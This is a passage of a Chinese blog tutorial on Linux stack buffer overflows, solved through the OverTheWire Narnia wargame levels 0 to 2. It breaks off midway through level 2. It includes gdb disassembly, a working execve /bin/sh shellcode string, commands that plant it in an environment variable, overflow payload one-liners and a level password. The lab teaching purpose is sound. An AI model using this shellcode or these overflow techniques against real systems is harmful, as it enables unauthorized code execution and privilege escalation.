Linux栈缓冲区溢出浅析

这几天脑子抽风突然去玩Mac下的软件破解, 在和煎饼果子同学回顾汇编知识的时候提到了栈缓冲区溢出技术, 我发现虽然自己了解它的基本原理但是倘若实践起来很多细节都还是模棱两可, 于是突然兴趣大发搞鼓了起来, 本文算是对这两天学到的做一个简单的总结, 也算是一个纯粹面向Beginner的栈缓冲区溢出初级教程. 我记得The shellcoder’s Handbook里面提到过, 栈缓冲区溢出是目前人类最了解最公开的漏洞之一, 为了不让人们发现我不是人类, 我才提笔写下此文, 内容之浅, 表达之误, 欢迎批评指正.

我会阐述原理,同时尽力从实践的角度来一步步地进行说明, 由于水平有限, 不会对现有软件进行实验, 不同平台的栈缓冲区溢出技术都有差异我无力一一讲解, 并且由于不可执行栈等技术的出现导致传统的栈缓冲区溢出基本丧失攻击力, 尽管如此各种攻击手段最基本的原理和思想都很类似, 栈缓冲区溢出无疑是其中最基础的一环必须要掌握, 在这里我选择了以编程游戏闯关的方式来进行讲解, 游戏来自Narnia的前5道题目, narnia是一个饶有趣味的hack游戏, 本文会对该网站的使用方法进行讲解.

###准备知识 先说说缓冲区溢出到底是要干嘛.简单说来就是上可破解应用软件, 下可征服操作系统, 文能做外挂, 武能搞越狱. 可谓黑道骚年不可或缺的技能之一, 好了, 我想我说完了, 下面是学前需要了解的技能和知识, 其实不了解也罢, 我会慢慢教给你~

  1. 汇编语言
    对于很多人来说, 汇编如同魔法咒文, 没错我也这么想, 不过如果你把汇编语法忘光了我劝你赶快找本书补充一下汇编知识, 要想学习栈缓冲区溢出其实了解几个常用的指令就可以了, 现学现用, 就当时背咒语了, 要知道这咒语念出的魔法可是非常强大的. 要说非要推荐个资料之类的, 反正在学习之前我看了这个链接快速地回顾了一下汇编语言的两种主流语法AT&T汇编格式Intel汇编格式: Linux 汇编语言开发指南

  2. 内存管理
    传统的缓冲区溢出简单来说分两种其一是本文着重介绍的栈缓冲区溢出, 其二是堆缓冲区溢出(其他的包括格式化字符串漏洞,整型溢出等原理都有类似), 栈和堆无疑是内存管理中重要的两个概念, 掌握内存管理的同时也要了解, 二进制可执行文件是如何加载到内存中的, 加载到内存中后代码和数据在内存中的哪个位置, 以及代码是如何在内存中被执行的, 等等这些概念都是非常重要的. 骚年们可以参考这本书: 程序员的自我修养, 当然了如果你说你看CSAP, 那就更好了, 估计没我什么事了.

  3. gdb
    linux下无论是搞软件破解还是搞缓冲区溢出无处不见此神器的身影, 骚年们先去熟悉下gdb的命令吧, 如果你是Mac OX系统就去了解下lldb的语法, 基本类似但也有不少差别. 我当时查阅的是这个链接给出了gdb和lldb常用的区别: GDB to LLDB Command Map

  4. shell & python
    这和缓冲区溢出显然没什么直接关系, 但是本文主要阐述Linux下的栈缓冲区溢出, shell的使用是必要的, 至于python是为了方便格式化我们想要的二进制串来对你要hack的程序进行输入, 你比如说我要构造包含100个0x90的串, 在python中只要 print "\x90"*100 就好了, 真是简洁有效. 当然你用其他任何方法来实现同样的效果都没问题. 不管你怎么做, 反正我是这么做的 ^_^.

准备就到这里, 让我们开始栈缓冲区溢出的Happy游戏之旅吧~

###登录Narnia 登录游戏之前呢我们先来简单了解一下Narnia, 你们知道纳尼亚(Narnia)传奇么, 讲述了几个少年到衣橱背后世界冒险的故事, 而此时我们也将经历另一场扣人心弦的冒险, 这个游戏从level0至level9共10个关卡, 而我们的冒险就从level0开始到level4结束, 这5个关卡相对比较容易, 并且都是栈缓冲区溢出相关的, 关卡的名称分别是narnia0, narnia1, narnia2, narnia3, narnia4.

游戏中每一个关卡都需要通过ssh登录到narnia.labs.overthewire.org服务器上面.每一个关卡都拥有自己的用户名和密码, 用户名与关卡名称相同, 即narnia0-narnia4, 而密码则另有门道, 开始我们只知道narnia0关卡的密码, 这个密码很简单就是”narnia0”, 而其他关卡则需要成功闯过前一关才能得到后一关的密码, 这就好像在玩密室逃脱游戏, 你获得一个谜题只有解开它才能找到下一个谜题, 就这样串联式地探索下去, 直到密室打开.

比如我要登录narnia0关卡, 在linux命令行下输入下面的命令, 以用户名narnia0来登录narnia服务器:

ssh -l narnia0 narnia.labs.overthewire.org

密码输入”narnia0”即可.
下面我们就来攻克narnia0关卡! 这是学习栈缓冲区溢出的第一步~.

###第0关:覆盖栈内存 我们已经用narnia0的身份登录到服务器上, 敲入 cd /narnia/ , 来到该目录下将看到如下的文件:
image
分别是narnia0到narnia9这10个关卡对应的源代码和其编译生成的可执行文件.刚刚是用narnia0用户身份登录的, 所以我们只能访问或执行narnia0相关的文件, 而其他文件没有访问权限, 其他关卡同理.
现在打开narnia0.c看下源码:

#include <stdio.h>
#include <stdlib.h>

int main(){
	long val=0x41414141;
	char buf[20];

	printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
	printf("Here is your chance: ");
	scanf("%24s",&buf);

	printf("buf: %s\n",buf);
	printf("val: 0x%08x\n",val);

	if(val==0xdeadbeef)
		system("/bin/sh");
	else {
		printf("WAY OFF!!!!\n");
		exit(1);
	}

	return 0;
}

缕一下代码的逻辑发现了不可思议的地方, 在程序刚开始定义了这个语句 long val=0x41414141; ,然而在下面的代码中出现了这样的语句 if(val==0xdeadbeef), 而在此期间并没有对val变量赋值的语句, 唯一的赋值语句是 scanf("%24s",&buf);, 这还是对buf数组的输入, 这可是完全风马牛不相及的两个变量啊, 貌似不可能执行到这个分支里嘛! 好的, 你能想到这一点说明你对C语言表面的语法理解的很正确, 然而C语言只是贴近程序员的一层抽象, 如果从汇编和内存的角度来看待这段代码呢? 会是另一番风景.

我要先告诉你, 这段代码完全可以运行到 system("/bin/sh"); 这个分支上面去, 只需要在向buf数组输入值的时候多输入一些特定字符即可, 聪明的你是不是想到了什么? 好的不管这是多么简单的一件事, 我觉得还是有必要从原理上解释一下, 来验证你的猜想.

解释之前你需要先知道几个基本知识:
一个二进制可执行文件主要分为.text段, .data段, .bss段等等, .text段对应着代码, .data段对应着数据, 当系统将可执行文件加载到内存中后,会创建一个虚拟的进程空间, 这个进程空间有4G大小, 系统会把代表着可执行代码的.text段放置在较低的地址处, 再往上是.data段, .bss段等, 再往上是两个重要的数据空间, 堆和栈, 堆从低地址到高地址扩展, 栈从高地址到低地址扩展, 这样从图形上看待这个进程空间的内存布局就是这样子的:
image
程序开始执行的时候, 有一个叫做EIP的小伙子, 啊不, 是寄存器, EIP存储着下一个要执行的指令的地址, 也就是上图中Text区域中的某个位置, 系统会忠实地依次执行EIP指向的指令, 在执行过程中如果遇到函数调用, 在汇编这个层级, 一般是遇到call指令的时候, 栈的show time就开始了, 也就是上图中Stack的那个区域. 我们都知道实现递归的传统方式就是依靠栈, 有了栈的存在, 函数的层层调用就容易的多, 调用函数的时候, 会先把传给该函数的参数压入栈中, 再将函数返回后下一个指令的地址压入栈中我们简称保存该指令的区域为RET, 然后抽象的角度来看会为该函数创建一个栈帧, 会向栈帧中压入函数调用者栈帧的地址, 然后为该函数中定义的各个变量依次预留空间, 无论该函数多么复杂, 定义了多少变量, 当它执行完后首先会将该函数栈帧弹栈然后通过ret指令来将控制权交给函数调用者, 并执行之前保存的RET指向的指令, 函数调用的控制权转换就这样轻易的实现, 这都是栈的功劳, 我们再次以图形的角度看看函数调用时栈里的内存布局:
image
文字加图形解释完后让你大致有个不那么精确的印象就好, 下面我们直接来看函数调用的汇编代码, 我们敲入 gdb narnia0, 启动gdb调试narnia0可执行文件, 敲入 set disassembly-flavor intel 将汇编显示格式设定为Intel格式(我假定你更熟悉Intel格式的语法), 然后敲入 disassemble main 来对main函数进行反汇编, 得到下面的代码, 结合上面的C源码来看哈~:

   0x080484c4 <+0>:		push   ebp                              ;将上一个栈帧地址push到栈里
   0x080484c5 <+1>:		mov    ebp,esp                          ;esp代表栈顶地址, 将栈顶地址赋值给ebp, ebp此时存放着当前栈帧地址
   0x080484c7 <+3>:		and    esp,0xfffffff0
   0x080484ca <+6>:		sub    esp,0x30                         ;为val和buf两个变量预留0x30也就是48个字节的空间
   0x080484cd <+9>:		mov    DWORD PTR [esp+0x2c],0x41414141  ;为val变量初始化为0x41414141
   0x080484d5 <+17>:	mov    DWORD PTR [esp],0x8048640
   0x080484dc <+24>:	call   0x80483b0 <puts@plt>
   0x080484e1 <+29>:	mov    eax,0x8048673
   0x080484e6 <+34>:	mov    DWORD PTR [esp],eax
   0x080484e9 <+37>:	call   0x80483a0 <printf@plt>
   0x080484ee <+42>:	mov    eax,0x8048689
   0x080484f3 <+47>:	lea    edx,[esp+0x18]
   0x080484f7 <+51>:	mov    DWORD PTR [esp+0x4],edx          ;将scanf函数需要的参数push到栈里, 只不过是用mov来实现push的效果
   0x080484fb <+55>:	mov    DWORD PTR [esp],eax              ;同上
   0x080484fe <+58>:	call   0x8048400 <__isoc99_scanf@plt>   ;调用scanf("%24s",&buf);
   0x08048503 <+63>:	mov    eax,0x804868e
   0x08048508 <+68>:	lea    edx,[esp+0x18]
   0x0804850c <+72>:	mov    DWORD PTR [esp+0x4],edx
   0x08048510 <+76>:	mov    DWORD PTR [esp],eax
   0x08048513 <+79>:	call   0x80483a0 <printf@plt>
   0x08048518 <+84>:	mov    eax,0x8048697
   0x0804851d <+89>:	mov    edx,DWORD PTR [esp+0x2c]
   0x08048521 <+93>:	mov    DWORD PTR [esp+0x4],edx
   0x08048525 <+97>:	mov    DWORD PTR [esp],eax
   0x08048528 <+100>:	call   0x80483a0 <printf@plt>
   0x0804852d <+105>:	cmp    DWORD PTR [esp+0x2c],0xdeadbeef
   0x08048535 <+113>:	jne    0x804854a <main+134>
   0x08048537 <+115>:	mov    DWORD PTR [esp],0x80486a4
   0x0804853e <+122>:	call   0x80483c0 <system@plt>
   0x08048543 <+127>:	mov    eax,0x0
   0x08048548 <+132>:	leave                                   ;执行mov esp,ebp和pop ebp来清空栈帧并恢复ebp,此时esp指向RET
   0x08048549 <+133>:	ret                                     ;pop eip将之前存放在RET区域的指令地址恢复到eip中,并继续执行指令  

我已经将自己觉得重要的指令加上了注释, 现在结合一下上图函数调用时栈里的内存布局和汇编代码, 我们有这样一个信息要强调, 函数中连续定义的变量是在栈内存中是紧挨着的, 以这段汇编代码为例, 第五行可以看出, 变量val的地址是esp+0x2c, 也就是栈顶向上数44个字节, 那么buf变量的地址就一定处在esp+0x2c往下数20字节的位置, 也就是esp+0x2c-0x14的位置上, 我们现在可以用gdb调试一下验证这个猜测.

我们先在输入完buf之后打上断点, 比如 br *0x08048508 就是在0x08048508这个地址对应的指令上打上断点, 然后我们敲入 run 来运行程序, 程序会提示你对buf输入, 我们输入一个易于识别的标记, 比如说输入20个字符1, 在内存中就是20个0x31, 输入完成后程序会停在我们之前打的断点上, 这个时候我们敲入 x /64x $esp 来显示栈顶开始往上的64个字的内存情况, 得到的结果如下图所示:
image
好现在从上图里我们应该可以清楚的找到连续20个0x31的位置, 我们根据在显示中的位置简单算下, 发现它的起始地址是0xffffd718, 这个地址也就是buf变量的地址, 我们验证一下这个地址是否是刚辞说的esp+0x2c-0x14呢, 首先 print $esp 查看esp也就是栈顶的地址, 是0xffffd700, 计算一下0xffffd700+0x2c-0x14发现恰好和刚才算的一样, 那么这20个0x31上面就一定是0x41414141了, 我们在上图中找一下, 咦? 在val变量的地址处值是0x41414100, 后两位本来应该是41为什么变成00了呢? 原来我们对字符数组scanf之后, 系统会自动给它添加一个’\0’来表示字符串结束, 这里正确的习惯应该是输入19个字符才对, 我的一个小失误导致了buf数组多出来的’\0’字符覆盖到了val变量的值上, 好吧, 看到这里我想你已经懂了, 我就不告诉你我是故意这样失误的~. 我再废口舌解释一下吧, 由于栈的是从高地址向低地址扩展的, 所以在栈内存布局中先定义的变量会在后定义的变量地址之上, 当后定义的buf数组溢出之后就会覆盖到先定义的val变量中, 我们只要精心构造溢出的数据, 就可以向narnia0.c代码里暗示的那样把val变量从0x41414141变成0xdeadbeef. 貌似我把一个非常简单的道理给讲的复杂了, 但是在这个复杂的表述中我教了你函数调用在栈中的内存布局, 教你了如何用gdb反汇编代码如何用gdb查看寄存器值以及查看内存的值, 这个过程对新手是有必要的, 这也是为下几关做好铺垫, 所以我不厌其烦的把这个我已经很熟悉的道理如此费力的表述给你, 希望你已经理解了~.

好的, 道理上我们都解释通了, 接下来就是实际操作, 把narnia0关卡hack掉! 我们快点执行这个过程, 我直接给出图示:
image
其中python格式化字符串的用法在准备知识里已经讲过, 但是为什么python脚本后面还跟着一个无参数的cat命令呢? 如果不加这个cat指令你会发现, val的值虽然被更改了, 但是程序一下子就退出了, 说好的shell呢? 这大概是因为管道在将python脚本的输出转为narnia0程序的STDIN的过程中在STDIN中添加了EOF(文件终止符), 导致shell启动之后遇到EOF又被终止了, 无参数的cat指令会从键盘获取输入, 这样在python脚本之后添加cat指令, cat会捕获到最后添加的那个EOF, 于是终止了cat程序自身, 从而使shell程序幸免于难. 于是乎, 我们在这个由 system("/bin/sh"); 启动的shell程序中输入ls, 发现确实打印出了当前目录下的文件列表, 欣喜之余, 我们cd到 /etc/narnia0_pass/ 目录下, 我要告诉你这个目录下存放着所有关卡的密码, 敲入ls, 可以看到narnia0至narnia9这10个文件, 每个文件都存放着各自关卡的密码, 正常来说, 只有narnia0用户登录的玩家才能访问narnia0文件, 其他文件同理, 我们此时是narnia0用户, 理论上来讲我们只能访问narnia0文件, narnia1文件是无权限访问的, 然而从上图你可以看到, cat narnia1 居然看到了narnia1关卡的密码, 而 cat narnia0 的时候却提示无权限, 这是为什么呢? 其实这是该游戏关卡设计的策略, 其想达到的目的就是, 在narnia0程序中启动的shell可以拥有narnia1用户的权限, 在narnia1程序中启动的shell可以拥有narnia2用户的权限, 依此类推, 也就是引导玩家在每一个关卡中想方设法在该关卡的程序中启动一个shell, 该shell拥有下一关用户的权限所以可以看到下一关卡的密码. 那么这种效果是如何做到的呢, 说来话长, 我只能简短介绍, 其余的留给你自己来搜索, 每一个进程都有两个id, uid和euid, 其中uid叫做用户标识, euid叫做有效用户标识, 进程的euid如果设置成X用户, 无论当前程序是由哪一个用户运行起来的, 该程序都会拥有euid代表的X用户的权限, 所以说可以想象该游戏使用了这个技术, 对于每一个关卡的可执行文件, 它的euid都是指向下一个用户的, 该程序运行起来拥有下一个关卡用户的权限, 所以它的子进程shell也拥有下一个关卡用户的权限.

好了, 进行到这里, 我们已经获得了narnia1关卡的密码efeidiedae, 接下来就用narnia0关卡中学到的知识和思路, 去寻找在narnia1程序中启动一个shell的方法吧~

###第1关:覆盖函数指针
使用narnia1作为用户名登录narnia服务器:

ssh -l narnia1 narnia.labs.overthewire.org  

我们找到narnia1.c来一看究竟:

#include <stdio.h>

int main(){
	int (*ret)();

	if(getenv("EGG")==NULL){
		printf("Give me something to execute at the env-variable EGG\n";
		exit(1);
	}

	printf("Trying to execute EGG!\n");
	ret = getenv("EGG");
	ret();

	return 0;
}

好单纯的代码, getenv函数会返回名字为”EGG”的环境变量字符串的地址, 我们看到代码中把该地址赋值给ret函数指针, 接下来调用ret函数的时候, 实际上代码会跳转到EGG环境变量的字符串地址上, 这里有个重要思想是, 数据即代码, 虽然在正常意义上来讲环境变量只是字符串, 但是对于计算机来说, 它会把eip寄存器指向的地址放的任何东西看作是代码, 所以我们只要在EGG的字符串内容里放入代码, 当ret函数调用的时候, 会jmp倒ret函数的地址处, 此时eip的值就是函数的地址, 所以我们放入的代码就会被执行, 其实这种伪装成数据的代码有一个帅气的名字: Shellcode . 前面已经讲过narnia1是一个拥有narnia2用户权限的二进制文件, 如果narnia1中创建shell子进程, 则该shell讲拥有narnia2的用户权限, 这样我们就可以访问narnia2用户的密码了, 所以我们要插入的shellcode的功能就是创建一个shell, 其实早先大部分shellcode的功能都是创建shell, 这可能也是Shellcode名称的由来. 那么如何编写Shellcode呢, 方法有很多, 你完全可以用C语言编写一段启动Shell的代码, 然后将它进行汇编, 编译形成2进制串, 这个二进制串就是Shellcode, 鉴于完整的讲述如何生成Shellcode需要花费较多篇幅, 我们偷个懒直接从大牛的网站copy一份过来, 比如这里 : shellcode-811.

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

接下来就是把Shellcode伪装的字符串放入环境变量中了, 一行命令即可:

export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

这时我们再执行 ./narnia1 ,会发现我们成功地启动了shell, 轻松获得了narnia2用户的密码:
image
如果你还云里雾里, 那么我们来跟踪下汇编代码, 看看发生了什么?

0x08048434 <+0>:	push   ebp
0x08048435 <+1>:	mov    ebp,esp
0x08048437 <+3>:	and    esp,0xfffffff0
0x0804843a <+6>:	sub    esp,0x20
0x0804843d <+9>:	mov    DWORD PTR [esp],0x8048560
0x08048444 <+16>:	call   0x8048330 <getenv@plt>
0x08048449 <+21>:	test   eax,eax
0x0804844b <+23>:	jne    0x8048465 <main+49>
0x0804844d <+25>:	mov    DWORD PTR [esp],0x8048564
0x08048454 <+32>:	call   0x8048340 <puts@plt>
0x08048459 <+37>:	mov    DWORD PTR [esp],0x1
0x08048460 <+44>:	call   0x8048360 <exit@plt>
0x08048465 <+49>:	mov    DWORD PTR [esp],0x8048599
0x0804846c <+56>:	call   0x8048340 <puts@plt>
0x08048471 <+61>:	mov    DWORD PTR [esp],0x8048560
0x08048478 <+68>:	call   0x8048330 <getenv@plt>
0x0804847d <+73>:	mov    DWORD PTR [esp+0x1c],eax
0x08048481 <+77>:	mov    eax,DWORD PTR [esp+0x1c]
0x08048485 <+81>:	call   eax
0x08048487 <+83>:	mov    eax,0x0
0x0804848c <+88>:	leave
0x0804848d <+89>:	ret

对应到C代码, 根据函数名称我们可以很快锁定到这行代码: 0x08048478 <+68>: call 0x8048330 <getenv@plt> ,它调用getenv函数获得EGG内容, 在汇编中函数的返回值会放到eax寄存器中, 所以我们看到下一句: mov DWORD PTR [esp+0x1c],eax ,它是将返回值也就是EGG内容的地址赋值给ret函数指针, 接下来就是调用ret函数, 我们看到 call eax 指令, 我们在这一行打上断点并运行, 查看一下eax的值, 0xffffd949, 这就是EGG的内容所在的地址, 也就是我们存放Shellcode的地址, 现在我们验证一下这个地址的内容是不是之前插入的Shellcode:
image
X86架构使用小端模式, 所以我们从16进制的低位开始看起, 31, c0, 50, 68, ……, 很明显, 这正是我们的Shellcode.

简单总结一下, 在narnia0关卡我们学会了利用数组溢出来覆盖栈上的内存, 而在narnia1中我们不仅覆盖栈上的内存, 而且使用精心构造的Shellcode来覆盖函数指针指向的内容, 来实现我们想要的功能, 这是一个重要的进步, 接下来的narnia2关卡将更进一步, 我们将会看到经典的缓冲区溢出案例.

###第2关:覆盖函数返回地址
前两关我比较细致地讲解整个操作过程甚至包括最基本的shell命令和gdb命令, 有了前面的铺垫, 这一关开始我会简化操作过程的讲解, 着重思路和原理.
来看一下第二关源码:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
	char buf[128];

	if(argc == 1){
		printf("Usage: %s argument\n", argv[0]);
		exit(1);
	}
	strcpy(buf,argv[1]);
	printf("%s", buf);

	return 0;
}

对应的汇编代码如下:

0x08048424 <+0>:	push   ebp
0x08048425 <+1>:	mov    ebp,esp
0x08048427 <+3>:	and    esp,0xfffffff0
0x0804842a <+6>:	sub    esp,0x90
0x08048430 <+12>:	cmp    DWORD PTR [ebp+0x8],0x1
0x08048434 <+16>:	jne    0x8048458 <main+52>
0x08048436 <+18>:	mov    eax,DWORD PTR [ebp+0xc]
0x08048439 <+21>:	mov    edx,DWORD PTR [eax]
0x0804843b <+23>:	mov    eax,0x8048560
0x08048440 <+28>:	mov    DWORD PTR [esp+0x4],edx
0x08048444 <+32>:	mov    DWORD PTR [esp],eax
0x08048447 <+35>:	call   0x8048320 <printf@plt>
0x0804844c <+40>:	mov    DWORD PTR [esp],0x1
0x08048453 <+47>:	call   0x8048350 <exit@plt>
0x08048458 <+52>:	mov    eax,DWORD PTR [ebp+0xc]
0x0804845b <+55>:	add    eax,0x4
0x0804845e <+58>:	mov    eax,DWORD PTR [eax]
0x08048460 <+60>:	mov    DWORD PTR [esp+0x4],eax
0x08048464 <+64>:	lea    eax,[esp+0x10]
0x08048468 <+68>:	mov    DWORD PTR [esp],eax
0x0804846b <+71>:	call   0x8048330 <strcpy@plt>
0x08048470 <+76>:	mov    eax,0x8048574
0x08048475 <+81>:	lea    edx,[esp+0x10]
0x08048479 <+85>:	mov    DWORD PTR [esp+0x4],edx
0x0804847d <+89>:	mov    DWORD PTR [esp],eax
0x08048480 <+92>:	call   0x8048320 <printf@plt>
0x08048485 <+97>:	mov    eax,0x0
0x0804848a <+102>:	leave
0x0804848b <+103>:	ret

程序很简单, 我们一眼就可以看到会产生溢出的地方, 就是strcpy函数, 如果我们输入超过128长度的字符串就会产生buf的溢出, 然而回忆一下第1关, 程序之所以会调用我们的Shellcode是因为程序中调用了ret函数, 而ret函数的地址已经被我们控制了. 可是在本关卡中, strcpy之后就直接输出然后return 0返回, 即使我们在输入数据中插入Shellcode貌似也没有执行的机会啊, 怎么办呢? 当年首个蠕虫病毒的作者Morris给出了一个天才般的解答. 让我们回顾在第0关中的表述:

调用函数的时候, 会先把传给该函数的参数压入栈中, 再将函数返回后下一个指令的地址压入栈中我们简称保存该指令的区域为RET, 然后抽象的角度来看会为该函数创建一个栈帧, 会向栈帧中压入函数调用者栈帧的地址, 然后为该函数中定义的各个变量依次预留空间, 无论该函数多么复杂, 定义了多少变量, 当它执行完后首先会将该函数栈帧弹栈然后通过ret指令来将控制权交给函数调用者, 并执行之前保存的RET指向的指令.

比如上面的汇编代码中, 0x0804846b <+71>: call 0x8048330 <strcpy@plt> ,call指令做了两件事, 第一件是先把下一行指令 0x08048470 <+76>: mov eax,0x8048574 的地址 0x08048470 压到栈中, 第二件是jmp到libc库中strcpy函数的地址处也就是 0x8048330 , 当strcpy函数执行完成之后会调用ret指令将栈中之前保存的地址 0x08048470 pop到EIP寄存器中, 由于CPU每次都会从EIP寄存器中取出下一个要执行的指令, 从而将程序的执行流程带回到原程序中.

这个时候我们灵光一现, 想想既然call指令会把函数返回地址压到栈中, 那岂不是白白将一个水灵灵的大美女扔到我们面前么, 要知道第0关起的标题可是覆盖栈内存啊! 只要利用buf数组的溢出来覆盖main函数的返回地址不就可以控制程序的流程了么. 结合前面栈的内存布局图示想一想buf数组在栈中的位置以及函数返回地址的存储位置.

image

buf数组的存储当然是从低地址向高地址存, 那么溢出之后显然是朝着函数返回地址直奔而去啊, 只要在buf数组的适当位置插入Shellcode,稍微计算一下溢出的长度然后将函数返回地址覆盖成Shellcode的开始地址, 当main函数返回的时候就可以执行到可爱的Shellcode了!

来少年们来看一下操作过程, 我现在想看看buf数组在栈中的位置, 怎么办呢? 可以做一下实验, 在buf中输入一堆一眼就能看出来的字符, 然后在gdb中查看栈内存找到这些特殊字符就ok~. 好的先在 0x08048470 <+76>: mov eax,0x8048574 这一行打上断点, 也就是strcpy指令的下一个指令, 然后敲入

run `python -c ‘print “\x90”*128’`

来启动程序并传入参数, 这里使用的是python来生成二进制串, 128个0x90, 正好是程序中buf数组的大小. 程序走到断点处停下来, 输入

Published: January 19 2014